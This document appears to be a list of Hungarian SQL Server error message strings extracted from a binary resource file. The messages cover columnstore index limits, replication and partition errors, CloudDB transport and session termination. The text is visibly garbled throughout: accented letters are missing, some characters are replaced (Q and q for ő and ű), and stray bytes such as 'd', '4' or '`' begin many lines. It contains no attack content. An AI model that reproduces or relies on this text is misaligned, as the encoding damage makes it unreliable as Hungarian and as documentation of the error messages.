A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert egy oszloptrindexnek illeszkednie kell az alaptbla partcijhoz. Az oszloptrindexet ugyanazzal a partcis fggvnnyel s azonos (vagy egyenrtkq) partcis smval hozza ltre, mint az alaptblt. Ha az alaptbla nincs particionlva, akkor nem particionlt oszloptrindexet hozzon ltre.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert a(z) %1!s! bellts megadsa oszloptrindex ltrehozsakor nem engedlyezett. Fontolja meg egy oszloptrindex ltrehozst a(z) %2!s! bellts megadsa nlkl.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert a(z) %1!s! bellts oszloptrindex ltrehozsakor nem engedlyezett. A(z) %2!s! bellts megadsa nlkl hozza ltre az oszloptrindexet.

dA CREATE INDEX utasts vgrehajtsa sikertelen volt, mert a DATA_COMPRESSION bellts megadsa oszloptrindex ltrehozsakor nem engedlyezett. Fontolja meg egy oszloptrindex ltrehozst a DATA_COMPRESSION bellts megadsa nlkl. Az oszloptrindexek tmrtse mindig automatikusan megtrtnik.

Az ALTER TABLE utasts vgrehajtsa sikertelen volt, mert egy oszlop defincija nem mdosthat, ha az oszlop egy oszloptrindex rsze. Fontolja meg az oszloptrindex eldobst, az oszlop mdostst, majd egy j oszloptrindex ltrehozst.

4Az ALTER INDEX utasts vgrehajtsa sikertelen volt, mert egy oszloptrindex nem szervezhetQ jra. Egy oszloptrindex jraszervezse nem szksges.

Az ALTER INDEX REBUILD utasts vgrehajtsa sikertelen volt, mert a(z) %1!s! bellts megadsa oszloptrindex jraptsekor nem engedlyezett. ptse jra az oszloptrindexet a(z) %2!s! bellts megadsa nlkl.

Az ALTER INDEX REBUILD utasts vgrehajtsa sikertelen volt, mert a(z) %1!s! bellts oszloptrindex jraptsekor nem engedlyezett. A(z) %2!s! bellts megadsa nlkl ptse jra az oszloptrindexet.

\Az ALTER INDEX REBUILD utasts vgrehajtsa sikertelen volt, mert a DATA_COMPRESSION bellts megadsa oszloptrindex jraptsekor nem engedlyezett. ptse jra az oszloptrindexet a DATA_COMPRESSION bellts megadsa nlkl. Az oszloptrindexek tmrtse mindig automatikusan megtrtnik.

A(z) %1!s! utasts vgrehajtsa sikertelen volt, mert egy oszloptrindexet tartalmaz tbla adatai nem mdosthatk. Fontolja meg az oszloptrindex letiltst a(z) %2!s! utasts kiadsa elQtt, majd az oszloptrindex jraptst a(z) %3!s! befejezQdse utn.

A DBCC DBREINDEX utasts vgrehajtsa sikertelen volt, mert a FILLFACTOR bellts megadsa oszloptrindex ltrehozsakor vagy jraptsekor nem engedlyezett. ptse jra az oszloptrindexet a FILLFACTOR bellts megadsa nlkl.

TA CREATE INDEX utasts vgrehajtsa sikertelen volt, mert hinyzik a kulcslista megadsa egy index ltrehozsakor. A kulcslista megadsval hozza ltre az indexet.

Az UPDATE STATISTICS utasts vgrehajtsa sikertelen volt, mert a statisztikk oszloptrindexen nem frissthetQk. Az UPDATE STATISTICS utasts csak akkor rvnyes, ha a STATS_STREAM kapcsolval egytt hasznljk.

`A frtztt oszloptrindex nem tmogatott.

pA tbb nem frtztt oszloptrindex nem tmogatott.

Az oszloptrindex s a relcis index kztti talakts nem tmogatott.

 A CREATE INDEX utasts vgrehajtsa sikertelen volt. Egy oszloptrindex nem tartalmazhat olyan decimlis vagy numerikus adattpust, amelynek pontossga nagyobb, mint 18. Cskkentse a(z)  %1!s!  oszlop pontossgt 18-ra, vagy hagyja ki a kvetkezQ oszlopot:  %2!s! .

A CREATE INDEX utasts vgrehajtsa sikertelen volt. Egy oszloptrindex nem tartalmazhat olyan datetimeoffset adattpust, amelynek pontossga nagyobb, mint 2. Cskkentse a(z)  %1!s!  oszlop pontossgt 2-re, vagy hagyja ki a kvetkezQ oszlopot:  %2!s! .

dA CREATE INDEX utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  oszlop olyan adattpus, amely nem szerepelhet oszloptrindexben. Hagyja ki a kvetkezQ oszlopot:  %2!s! .

Az ALTER PARTITION utasts MERGE zradknak vgrehajtsa sikertelen volt, mert nem egyesthetQ kt nem res, oszloptrindexet tartalmaz partci. Fontolja meg az oszloptrindex letiltst az ALTER PARTITION utasts kiadsa elQtt, majd az oszloptrindex jraptst az ALTER PARTITION utasts befejezQdse utn.

Az ALTER PARTITION utasts MERGE zradknak vgrehajtsa sikertelen volt, mert nem egyesthetQ kt, klnbzQ fjlcsoportba tartoz partci, ha brmelyik partci oszloptrindex-adatokat tartalmaz. Fontolja meg az oszloptrindex letiltst az ALTER PARTITION utasts kiadsa elQtt, majd az oszloptrindex jraptst az ALTER PARTITION utasts befejezQdse utn.

Az ALTER PARTITION utasts SPLIT zradknak vgrehajtsa sikertelen volt, mert a partci nem res. Csak res partcik oszthatk fel, ha ltezik a tbln oszloptrindex. Fontolja meg az oszloptrindex letiltst az ALTER PARTITION utasts kiadsa elQtt, majd az oszloptrindex jraptst az ALTER PARTITION utasts befejezQdse utn.

Az sp_tableoption trolt eljrs vgrehajtsa sikertelen volt, mert egy nem frtztt oszloptrindexet tartalmaz tbla nem mdosthat gy, hogy a vardecimal trolsi formtumot hasznlja. Fontolja meg az oszloptrindex eldobst.

,A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert a kvetkezQ tbla a vardecimal trolsi formtumot hasznlja:  %1!s! . Nem hozhat ltre oszloptrindex olyan tbln, amely vardecimal trolst hasznl. Fontolja meg a tbla jraptst vardecimal trols nlkl.

A TRUNCATE TABLE utasts vgrehajtsa sikertelen volt, mert a kvetkezQ tblhoz oszloptrindex tartozik:  %1!s! . Egy oszloptrindexet tartalmaz tbla nem csonkolhat. Fontolja meg az oszloptrindex eldobst, majd azt kvetQen a tbla csonkolst.

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert egy particionlt tblhoz tartoz oszloptrindexnek illeszkednie kell az alaptbla partcijhoz. Fontolja meg az oszloptrindex eldobst egy j, frtztt index ltrehozsa elQtt.

A DROP INDEX utasts vgrehajtsa sikertelen volt, mert egy particionlt tblhoz tartoz oszloptrindexnek illeszkednie kell az alaptbla (halom) partcijhoz. Fontolja meg az oszloptrindex eldobst egy frtztt index eldobsa elQtt.

A(z) %1!s! utasts vgrehajtsa sikertelen volt, mert a mqvelet nem vgezhetQ el online mdban oszloptrindexet tartalmaz tbln. Hajtsa vgre a mqveletet az ONLINE kapcsol megadsa nlkl, illetve dobja el (vagy tiltsa le) az oszloptrindexet a mqveletnek az ONLINE kapcsol hasznlatval val elvgzse elQtt.

0A(z) %1!s! nem engedlyezhetQ egy oszloptrindexet tartalmaz tbln. Fontolja meg a kvetkezQ tbla  %2!s!  oszloptrindexnek eldobst:  %3!s! .

A CREATE INDEX utasts vgrehajtsa sikertelen volt, mert nem hozhat ltre oszloptrindex olyan tbln, amelyre engedlyezve van a kvetkezQ: %1!s!. Fontolja meg a(z) %2!s! letiltst, majd azt kvetQen az oszloptrindex ltrehozst.

A CREATE INDEX utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  oszlop vagy elsQdleges kulcs, vagy particionlkulcs, amelyet be kell foglalni az indexbe, de egy oszloptrindex nem tartalmazhat 18-nl nagyobb pontossg tizedes trt vagy numerikus adattpus oszlopot. Fontolja meg a(z)  %2!s!  oszlop pontossgnak cskkentst 18-ra.

A CREATE INDEX utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  oszlop vagy elsQdleges kulcs, vagy particionlkulcs, amelyet be kell foglalni az indexbe, de egy oszloptrindex nem tartalmazhat 2-nl nagyobb pontossg datetimeoffset adattpus oszlopot. Fontolja meg a(z)  %2!s!  oszlop pontossgnak cskkentst 2-re.

A CREATE INDEX utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  oszlop vagy elsQdleges kulcs, vagy particionlkulcs, amelyet be kell foglalni az indexbe, de a(z)  %2!s!  olyan adattpus, amely nem szerepelhet oszloptrindexben.

sorozat

<CloudDB aszinkron tvitel

TCloudDB aszinkron tviteli tovbbt

$szolgltats

mqvelet

utasts

(indexbellts

,tblzatbellts

opertor

rtk

(rendszeroszlop

$set kapcsol

,lekrdezsmutat

Dtranzakcielklntsi szint

8memriban trolt index

 sszevons

4sszevons-feloszts

,rendszeradatbzis

<sszevonsi tagadatbzis

Dnem sszevonsi tagadatbzis

@sszevonsi gykradatbzis

hA(z)  %2!s!  %1!s! mr ltezik az adatbzisban.

`Az instance_id mr ltezik az adatbzisban.

A megadott DAC-pldny mr rendelkezik a kvetkezQvel:  %2!s!  %1!s!.

Nem ltezik DacInstance a megadott instance_id azonostval.

xDAC-gykr   a kvetkezQ adatbzis nem ltezik: %1!s!.

A megadott hzirend-azonostval mr ltezik DAC-hzirend a rszleteket taglal tblban.

tA hzirend ltal hivatkozott DAC-rszlet nem ltezik.

lA DAC-hzirend nem ltezi hzirendre hivatkozik.

xA(z)  %2!s!  %1!s! mr ltezik a DAC-rszletek kztt.

Ahhoz, hogy a hv vgrehajthassa a mqveletet, a dbcreator rgztett kiszolgli szerepkr tagjnak kell lennie.

A hvnak a sysadmin (rendszergazda) szerepkr tagjnak vagy a frisstendQ elQzmnybejegyzs ltrehozjnak kell lennie.

lA(z) %1!s! folyamatazonost nem aktv azonost.

A mqvelet nem engedlyezett, mert vannak olyan fggQ objektumok, amelyek a teleptsre vrnak.

A kvetkezQ adatbzis nem tallhat, mert nem ltezik, vagy nnek nincs megfelelQ engedlye a hozzfrsre:  %1!s! .

Ez a mqvelet nem engedlyezett, mert ezen az SQL Server-pldnyon mr ltezik segdprogram-vezrlQpont.

4Az SQL Server megadott pldnya nem hasznlhat segdprogram-vezrlQpontknt, mert ez a funkci nincs engedlyezve az SQL Server  %1!s!  kiadsban.

4Az SQL Server megadott pldnya nem kezelhetQ egy segdprogram-vezrlQpontbl, mert ez a funkci nincs engedlyezve az SQL Server  %1!s!  kiadsban.

A mqvelet nem hajthat vgre, mert a megadott SQL Server-pldny nincs egy SQL Server-segdprogramban sincs bejegyezve.

Hiba trtnt az SQL Server segdprogram-vezrlQpontjba trtnQ feltlts kzben.

PA mqvelet nem folytathat. Az SQL Server segdprogram-vezrlQpontjnak eltvoltshoz a felhasznlnak a sysadmin (rendszergazda) szerepkr tagjnak kell lennie.

A mqvelet nem folytathat. A megadott SQL Server-pldny nem segdprogram-vezrlQpontja az SQL Server rendszernek.

A mqvelet nem folytathat. Az SQL Server segdprogram-vezrlQpontjnak kezelt SQL Server-pldnyai vannak bejegyezve.

A(z) %1!s!. azonostj fjl nem tallhat a kvetkezQ adatbzisban:  %2!s! .

Csak a(z) %1!s! jogosultsggal rendelkezQ felhasznlk tudjk vgrehajtani ezt a trolt eljrst.

A repliklt tblk csak helyi (nem a DTC ltal vgzett) ktfzis vglegestst tmogatnak a fQadatbzissal.

A vglegests kzben kezdemnyeztk a msodlagos trlst.

HA repliklt sor nem tallhat.

lVratlan mqvelet tallhat a repliklt zenetben.

HAz oszlopok szma nem egyezik.

\IsmtlQdQ tranzakciazonost tallhat.

\Ismeretlen tranzakciazonost tallhat.

HA begyazsi szint rvnytelen.

\A replikcis cladatbzis nem tallhat.

A tranzakci helyi llapota nem felel meg a vrt llapotnak.

Az adatbzisok kztti repliklt tranzakcik nem engedlyezettek.

\A repliklt %1!s! cltbla nem tallhat.

A repliklt %1!s! clindex nem tallhat a kvetkezQ tblban: %2!s!.

\A repliklt %1!s! clsma nem tallhat.

Nem hasznlhat tbb adatbzis ugyanabban a tranzakciban.

tEz a funkci repliklt tblk esetn nem tmogatott.

A partcis kulcs  %1!s!  oszlopnak a kvetkezQ index egyik kulcsnak kell lennie:  %2!s!.%3!s!.%4!s! .

PA partcis kulcs nem mdosthat.

A partcis kulcs rtke a partcis kulcsok rvnyes tartomnyn kvl esik.

,A(z)  %2!s!.%3!s!  tbla partcis kulcsnak  %1!s!  oszlopa nullzhat, vagy nem felel meg a tblacsoportban definilt partciskulcs-tpusnak.

Az adatbzis tmeneti llapotban van, a tranzakcik lelltsa folyamatban van.

A partcihoz megadott alacsony s magas kulcsok rvnytelenek. Az alacsony kulcsnak kisebbnek kell lennie a magasnl.

|Mr ltezik partci egymst tfedQ kulcstartomnyokkal.

PA kvetkezQ nv tl hossz: %1!s!.

Az utols vglegestett CSN (%1!s!, %2!s!) nem tallhat a naplban. Az utols megtallt CSN: (%3!s!, %4!s!).

xA kvetkezQ tblacsoportnv rvnytelen:  %1!s!.%2!s! .

A repliklt tblk legfeljebb %1!s! oszlopot tartalmazhatnak.

A msodpldny-mqvelet nem hajthat vgre, mert a msodpldny nem ltezik a helyi partcitrkpen.

A kvetkezQ tbla partcis kulcsnak oszlopa nem definilt:  %1!s!.%2!s! .

Nem tmogatott mdon prbltk hasznlni a LOB-ot az online indexkszts sorn.

A CSN alapidQpontjnak megksrelt vltsa nem engedlyezett. Az j CSN (%1!s!,%2!s!), az aktulis CSN (%3!s!,%4!s!).

Az ppen felvett CSN-nek egyenlQnek kell lennie az utols CSN+1 rtkkel. Az j CSN (%1!s!,%2!s!), az aktulis CSN (%3!s!,%4!s!).

 Az ppen felvett CSN-nek nagyobbnak vagy egyenlQnek kell lennie az utols CSN-nel. Az j CSN (%1!s!,%2!s!), az aktulis CSN (%3!s!,%4!s!).

A msodpldny-mqvelet nem hajthat vgre, mert ez a csompont nem a msodlagos ehhez a partcihoz.

Az ppen kezdett kor alapidQpontjnak korbban nem hasznltnak kell lennie. Az j CSN (%1!s!,%2!s!), az aktulis CSN (%3!s!,%4!s!).

Nem sikerlt nyugtt kapni a replikci-visszalltsi zenetre.

Nem sikerlt nyugtt kapni a replikci-vglegestsi zenetre.

@Az oszlop llapota srlt.

<Az oszlop hossza srlt.

A vltoz mretq adatok srltek. A tnylegesen fennmarad bjtok szma %1!s!, a vrt bjtok szma %2!s!.

A rgztett mretq adatok srltek. A tnylegesen fennmarad bjtok szma %1!s!, a vrt bjtok szma %2!s!.

Az zenetek verzija eltrQ. A tnyleges verzi %1!s!, mg a vrt verzi %2!s!.

A(z) %2!s! zenettpushoz tartoz minimlisan megkvetelt zenetverzi %1!s!, amely azonban nem tmogatott.

lrvnytelen mdon hasznltk a szlQtranzakcit.

hSrlt tredezett sorfolyamsorozat szlelhetQ.

LSrlt tredezett sor szlelhetQ.

@Srlt LOB-sor szlelhetQ.

Az UPDATETEXT hasznlata repliklt tblkon nem tmogatott.

A prhuzamos lekrdezsek repliklt tblk esetn nem tmogatottak.

Ksrlet trtnt a nem repliklt %1!s! rendszertbla repliklsra.

 Az SQL Server ezen verzija nem tmogatja a frtztt index nlkli tblkat. Hozzon ltre egy frtztt indexet, majd prblja meg jbl.

A master, a tempdb, a model s az mssqlsystemresource adatbzis nem repliklhat.

XA tbla repliklsa nincs engedlyezve.

Nem tmogatott kapcsol a repliklt tbla hasznlathoz. Az ok megllaptshoz tekintse t az llapotot.

Ksrlet trtnt egy olyan partcibl val repliklsra, amely mr zrolva volt belsQ hasznlatra.

TA sorkszlet azonostja ismeretlen.

`Helytelen a msodpldny szerepkrtmenete.

DA msodpldny nem tallhat.

Ksrlet trtnt egy CSN hozzadsra egy rvnytelen CSN-vektorhoz. Az j CSN (%1!s!,%2!s!), az aktulis CSN (%3!s!,%4!s!).

A CSN-vektor csak a kezdeti vagy egy rvnytelen CSN-nel inicializlhat jra. Az j CSN (%1!s!,%2!s!), az aktulis CSN (%3!s!,%4!s!).

HAz tvitel clja nem tallhat.

DSrlt sorsorozat szlelhetQ.

Az Idempotent mdot hasznltk egy ismeretlen tranzakcira.

A sorkszlet illesztQfelletnek megszerzse sikertelen volt.

CSN-eltrs szlelhetQ. A helyi CSN (%1!s!,%2!s!), a tvoli CSN (%3!s!,%4!s!).

Ennek a partcinak nincs elegendQ rvnyes msodlagos partcija egy DML-tranzakci indtshoz. A szksges szm %1!s!, a jelenlegi szmok pedig %2!s! (fQ kvrum) s %3!s! (tmeneti kvrum).

`A sorkszlet metaadatainak sorozata srlt.

XA particionlt tblk nem tmogatottak.

A partcis kulcs nem tallhat a cl sorkszletben, vagy nullzhat, illetve nem rsze az indexkulcsoknak.

Az oszlop smja eltrQ, sorkszlet: %1!s!.%2!s!.%3!s!, oszlop: %4!s!.

Tl kevs az oszlop a kvetkezQ tvoli sorkszletbQl: %1!s!.%2!s!.%3!s!.

A tvoli %1!s!.%2!s!.%3!s! sorkszlet %4!s! oszlopa helyileg nem tallhat.

tA megQrztt vrakozsi sor naplzsa sikertelen volt.

Egy nem null, vltoz hosszsg rtk rkezett egy oszlophoz, amely helyileg rvidebb.

hSrlt (tl hossz) tmrtett sor szlelhetQ.

lAz index szmossga nem lehetne nullnl kisebb.

|Ez egy mestersgesen elQidzett kivtel tesztelsi clra.

DSrlt CSN-vektor szlelhetQ.

A CSN-vektor tbbszri mdostsa ugyanazon a tranzakcin bell nem tmogatott.

Az elsQdleges partci elvesztette a kvrumot. Nem kezdQdhetnek j tranzakcik.

tAz elsQdleges hibba tkztt ennl a msodlagosnl.

hNem tallhat a megadott verzij msodpldny.

Az ppen belltott CSN kvl esik a CSN kortartomnyon. Az j CSN (%1!s!,%2!s!), az aktulis CSN (%3!s!,%4!s!).

Az index konfigurcija a(z) %1!s! tbla %2!s! indexnl nem egyezik a forrsval.

Az elsQdleges partci tmeneti llapotban van, a tranzakci vglegestse nem lehetsges.

A csonkolsi CSN nem megfelelQ. A csonkolsi CSN (%1!s!,%2!s!), az aktulis CSN (%3!s!,%4!s!).

Ennek a(z) %1!s! indexnek az llapota nem felel meg a forrsnak a kvetkezQ tblnl: %2!s!.

<A replikcis httrfeladat zrolsi idQtllpsbe tkztt. A rendszer trli a felhasznli tranzakcikat, s jbl megksrli a mqvelet vgrehajtst.

A kulcs metaadatainak mdostsa nem kompatibilis. A vizsglat nem folytathat.

A replikcis tranzakci (folyamatazonost: %1!s!) %2!s! erQforrson holtponti llapotba kerlt egy msik folyamattal, s a rendszer ezt vlasztotta megszntetsre a holtpont feloldsa cljbl. A rendszer jbl megksrli a mqvelet vgrehajtst.

Egy kritikus fontossg replikcis feladat nem tudott elindulni. Az llapot: %1!s!.

A tranzakci kezdett jelzQ zenet nem volt megtallhat a megQrztt repliklsi vrakozsi sor vizsglatakor.

Nem illeszkedQ partciazonost tallhat a tranzakcis naplban.

rvnytelen a begyazott tranzakcik szma a tranzakcis naplban.

A partcihoz nincsenek engedlyezve a megQrztt vrakozsi sorok.

A partci nem teszi lehetQv a megQrztt vrakozsi sorok mdostst ebben az llapotban.

A partci nem mdosthat egy megQrztt objektumon bell.

Csak egy rendszergazda hajthatja vgre a kvetkezQ trolt eljrst:  %1!s! .

A(z) %1!s! adatbzis helyi partcitrkpe cskkentett funkcionalits mdban indul el, mert a napl megtelt. A fggQben levQ partcitrlsek addig nem lesznek feldolgozva, amg a napl csonkolva van.

A smnak a munkamenetben belltott hatkre nem az aktulis smahatkr az aktulis partcihoz. Futtassa jra a lekrdezst.

DA szqrt msodpldny nem az elsQdleges msodpldny rszhalmaza. Ez csak olyan tblacsoportok esetn fordulhat elQ, amelyekhez nem tartozik partcis kulcs.

A kvetkezQ eljrshoz vagy fggvnyhez megadott paramterek szma helytelen: %1!s!.

A replikcis kvrum paramtere %1!s!. A helyes rtk >= 1 s <= 32 lenne. 

(A partcis kulcs  %1!s!  tpusa nem tmogatott. Jelenleg csak a BIGINT, a UNIQUEIDENTIFIER s a VARBINARY(n) (0<n<=512) adattpus tmogatott. 

Egy tblacsoport eldobsa elQtt trlnie kell az sszes partcit.

Ez a mqvelet nem tmogatott az SQL Server jelen verzijban.

A get_new_rowversion() eljrs csak aktv tranzakciban hasznlhat.

lEz a rendszerszintq metaadatnzet nem tmogatott.

A verzikezels letiltsa sikertelen volt, mert az adatbzis nem egyfelhasznls mdban van.

Nem sikerlt frissteni a belltsokat a hatkrben levQ sszes adatbzisra.

A lekrdezs tbb partcirl szrmaz entitsokra hivatkozik. 

tAz adatcsomponton nem fut a krt partci replikja.

A partci belltsa sikertelen volt, mert egy msik partci mr be lett lltva az aktulis tranzakciban.

E lekrdezs vgrehajtsa elQtt be kell lltani a partcit az sp_set_partition trolt eljrs hasznlatval.

Egy msik partci elrse ugyanabban a tranzakciban nem engedlyezett.

Az adatcsomponton a krt partcihoz futtatott msodpldny nem elsQdleges.

A kvetkezQ objektum nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

@Az adatbzis nem tallhat.

XA tblacsoport objektum nem tallhat.

A kvetkezQ trolt eljrs csak a CloudDB rendszerben hasznlhat:  %1!s! .

xA megQrztt vrakozsi sor ltezQ pillanatkphez tartoz CSN (%1!s!, %2!s!) a(z) %3!s! helyen nagyobb a krt pillanatkphez tartoz CSN (%4!s!, %5!s!) rtknl, amelynek helye %6!s!.

TAz adatbzis nem futtat partcikat.

A partci tranzakcis szempontbl inkonzisztens llapotban van.

pA partci trlse nem vr krnyezeti tranzakcit.

Az aktulis adatbzis le lett lltva. Az aktulis adatbzis t lett vltva a master adatbzisra.

Tl sok a msodlagos elem. Jelenleg legfeljebb 32 tmogatott.

Nem sikerlt mdostani az adatbzis-rendezst a kvetkezQ azonostj adatbzisnl: %1!s!.

Az adatbzis hatkrvizsglata nem futhat egy tranzakcin bell.

A szvverszenet verzija nem megfelelQ. A tnyleges verzi %1!s!, a vrt verzi pedig %2!s!.

A partcitpus rvnytelen. Csak az 1 s a 2 rtk tmogatott.

Az adatcsomponton a krt partcihoz futtatott msodpldny tranzakcis szempontbl inkonzisztens.

dSemmiv lett, nem vr krnyezeti tranzakcit.

CloudDB jrakonfigurls van folyamatban, s minden j felhasznli tranzakci megszakad. 

Egy prostott CloudDB hlcsompont mqkdse lellt, ezrt le kell lltani a kvetkezQ adatbzist: %1!s!. 

Sikertelen volt a msodlagos elkapsa a kvetkezQ helyen: %1!s!:%2!s!:%3!s!:%4!s!.

A tblacsoport neve (egyrszes nv) nem lehetne hosszabb, mint nvarchar(64). 

A partci nincs olyan llapotban, amely lehetQv teszi a trlst.

Ez a krt mqvelet nem vgezhetQ el, mert folyamatban van e partci trlse.

A partci tmeneti llapotban van, a tranzakcik lelltsa folyamatban van.

Vegyen fel egy msodlagost vrakozssal, nem hasznlhat tranzakciban.

|Partcitnevezsi mqvelet nem hasznlhat tranzakciban.

Az j tblacsoport nem felel meg az tnevezQ partcihoz tartoz ltezQ tblacsoportnak.

TMr ltezik ugyanilyen nevq partci.

A hladatbzis ( %1!s! ) nem prosthat, a figyelQ szl nem fut. 

A hladatbzis ( %1!s! ) nem prosthat, az adatbzis mr prostva van. 

A hladatbzis ( %1!s! ) nem prosthat, a megadott mutex ( %2!s! ) megnyitsa sikertelen volt. Hibakd: %3!s!

A sma ppen ltrehozs alatt ll %1!s! hatkre nem res.

Sikertelen volt az adatbzis-prostsi mutex ltrehozsa az adatbzishoz ( %1!s! ). Hibakd: %2!s!

A msodlagos hibjnak jelentse nem vr krnyezeti tranzakcit.

Az adatcsomponton nem fut a krt partci krt verzij replikja.

\Nem ltezik a partci metaadatrekordja.

Meg lett szaktva a msodlagos elkapsa a kvetkezQ helyen: %1!s!:%2!s!:%3!s!:%4!s!.

Mr prostva van a maximlisan engedlyezett szm adatbzis.

8A kvetkezQ tblnak mr van partcis kulcsa: %1!s!. Egy j partcis kulcs explicit megadsa nem engedlyezett. Hasznlja az  Alter table  utastst.

A(z) %1!s! FOR SID parancs nem tmogatott az SQL Server jelen verzijban.

Egy varbinary nem lehet hosszabb a megadott maximlis hossznl. 

A szolgltats hibt szlelt a krelem feldolgozsa sorn. Prblja meg jbl. Hibakd: %1!s!.

Csak egy elsQdleges msodpldny konfigurlhat tovbbtknt.

Nem szabadna krnyezeti tranzakcinak lennie a tovbbt fggQ llapotba val belpskor.

LA clkiszolgl neve tl hossz.

@Az sszetett zenet srlt.

|Az AsyncTransport vgpont regisztrlsa sikertelen volt.

hHiba az elkldsi sorozatszm karbantartsakor

tElrte az tviteli vrakozsi sor maximlis mrett.

A szvvers brleti ideje rvidebb a szvvers munkavgzQ intervallumnl.

lAz aszinkron tvitel tesztelse sikertelen volt.

TAz rkezett zenet formtuma srlt.

PIsmtlQdQ clazonost szlelhetQ.

A zrolsi md rvnytelen, vagy az erQforrs zrolsi krelemben rkezett.

Xrvnytelen identitsrtk szlelhetQ.

LAdja meg az idempotent sorozatot.

dA kvetkezQ clobjektum nem tallhat: %1!s!.

PAz aktulis objektum nem kapcsolat.

Nem hozhat ltre %1!s! index a kvetkezQ objektumon: %2!s!.

Nem tallhat a(z) %1!s! index a kvetkezQ objektumon: %2!s!.

`Metaadat-replikcis protokollhiba trtnt.

`A kvetkezQ partci nem tallhat: %1!s!.

tEgy frtztt index halomm alaktsa nem tmogatott.

\A partcik kikapcsolsa nem tmogatott.

\Az indexkszts llapota inkonzisztens.

dNem sikerlt trlni az sszes sorkszletet.

Nem tallhat a kvetkezQ objektum identitsoszlopa: %1!s!.

A szolgltats jelenleg elfoglalt. Prblja megismtelni a krelmet 10 msodperc mlva. Incidensazonost: %1!s!. Kd: %2!s!

xIsmtlQdQ csoportazonost-belltsok vannak megadva. 

Az adatbzis %1!s! mezQje az rvnytelen  %2!s!  rtket tartalmazza. A vrt adattpus: %3!s!.

Az adatbzisok vltsa nem tmogatott. Egy msik adatbzishoz val kapcsoldshoz hasznljon j kapcsolatot.

dA felhasznl hitelestQ adatai helytelenek.

A megadott SID rvnytelen az SQL Server jelen verzijhoz.

A(z)  %1!s!  nem hvhat meg paramterekkel az SQL Server jelen verzijban.

(A USE utasts nem tmogatott a klnbzQ adatbzisok kztti vltshoz. Egy msik adatbzishoz val kapcsoldshoz hasznljon j kapcsolatot.

A kvetkezQ utasts nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A kvetkezQ beptett fggvny nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A kvetkezQ elavult funkci nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A kvetkezQ kiszolgli vltoz nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A kvetkezQ nem tmogatott az SQL Server jelen verzijban:  %1!s! .

Egy adatbzisra s/vagy kiszolglnvre val hivatkozs a kvetkezQben nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A globlis ideiglenes objektumok nem tmogatottak az SQL Server jelen verzijban.

A kvetkezQ kulcssz vagy utastskapcsol nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A kvetkezQ DBCC parancs nem tmogatott az SQL Server jelen verzijban:  %1!s! .

rvnytelen  %1!s!  rtk van megadva a bejelentkezsi mezQhz az tjr varzsszintaxisban.

A kvetkezQ biztonsgos osztly nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A kvetkezQ biztonsgos osztly nem tmogatott a kiszolgli hatkrben az SQL Server jelen verzijban:  %1!s! .

A kvetkezQ adatbzistag tpusa nem tmogatott az SQL Server jelen verzijban:  %1!s! .

PA kvetkezQ felhasznl implicit ltrehozsa nem tmogatott az SQL Server jelen verzijban:  %1!s! . Explicit mdon hozza ltre a felhasznlt, mielQtt hasznlja.

A kvetkezQ adattpus nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A  WITH %1!s!  zradk nem tmogatott az SQL Server jelen verzijban.

A kvetkezQ sorkszlet-szolgltat nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A csatolt kiszolglk nem tmogatottak az SQL Server jelen verzijban.

DA felhasznlk nem kpezhetQk le tanstvnyokra, aszimmetrikus kulcsokra vagy Windows rendszerbeli bejelentkezsi adatokra az SQL Server jelen verzijban.

A kvetkezQ beptett fggvny megszemlyestsi krnyezetben nem tmogatott az SQL Server jelen verzijban:  %1!s! .

A ktegben utastsknt csak a kvetkezQ utasts szerepelhet: %1!s!.

A kiszolgl neve nem llapthat meg. Az elsQ szegmensnek kell lennie a kiszolgl DNS-beli nevben (kiszolglnv.%1!s!). Egyes dokumentumtrak nem kldik el a kiszolglnevet, ebben az esetben azt a felhasznlnv rszeknt kell feltntetni (felhasznlnv@kiszolglnv). Emellett, ha mindkt formtumot hasznljk, a kt kiszolglnvnek egyeznie kell.

Nem nyithat meg a bejelentkezs ltal krt  %1!s!  kiszolgl. A bejelentkezs sikertelen.

TA(z)  %1!s!  kiszolgl mr ltezik.

Mr hozz van rendelve rvnyes SID az adatbzis tulajdonoshoz.

xA sma  %1!s!  hatkrnek tulajdonsgai mr lteznek.

A kvetkezQ felhasznl nem tallhat az adatbzisban:  %1!s! .

pAz eljrs nem hvhat meg egy partcin bellrQl.

tHelytelen szm paramter van megadva az eljrshoz.

rvnytelen %1!s! nv van megadva. A nv hossznak 1 s %2!s! kztt kellene lennie.

Az adatbzis elrte a mretkvtjt. Particionljon vagy trljn adatokat, dobjon el indexeket, vagy tekintse t a dokumentcit a lehetsges megoldsok megismershez. Incidensazonost: %1!s!. Kd: %2!s!

A szolgltats problmt szlelt, amely jelenleg kivizsgls alatt ll. Incidensazonost: %1!s!. Kd: %2!s!

A CONNECT engedly megadsa a vendgfelhasznlnak a kvetkezQ adatbzisban nem engedlyezett:  %1!s! .

A munkamenet meg lett szaktva, mert tl hossz ideig fut tranzakci szlelhetQ. Prblja lervidteni a tranzakcit.

$A munkamenet meg lett szaktva, mert tl sok zrolst szerzett meg. Prbljon egy tranzakcin bell kevesebb sort beolvasni vagy mdostani.

A munkamenet meg lett szaktva, mert tlzott mrtkben hasznlta a TEMPDB adatbzist. Prblja mdostani a lekrdezst, hogy cskkenjen az ideiglenes tblk trterletnek felhasznlsa.

DA munkamenet meg lett szaktva, mert tlzott mrtkben hasznlta a tranzakcis napl trterlett. Prbljon egy tranzakcin bell kevesebb sort mdostani.

,A munkamenet meg lett szaktva, mert tlzott mrtkben hasznlta a memrit. Prblja mdostani a lekrdezst, hogy kevesebb sort dolgozzon fel.

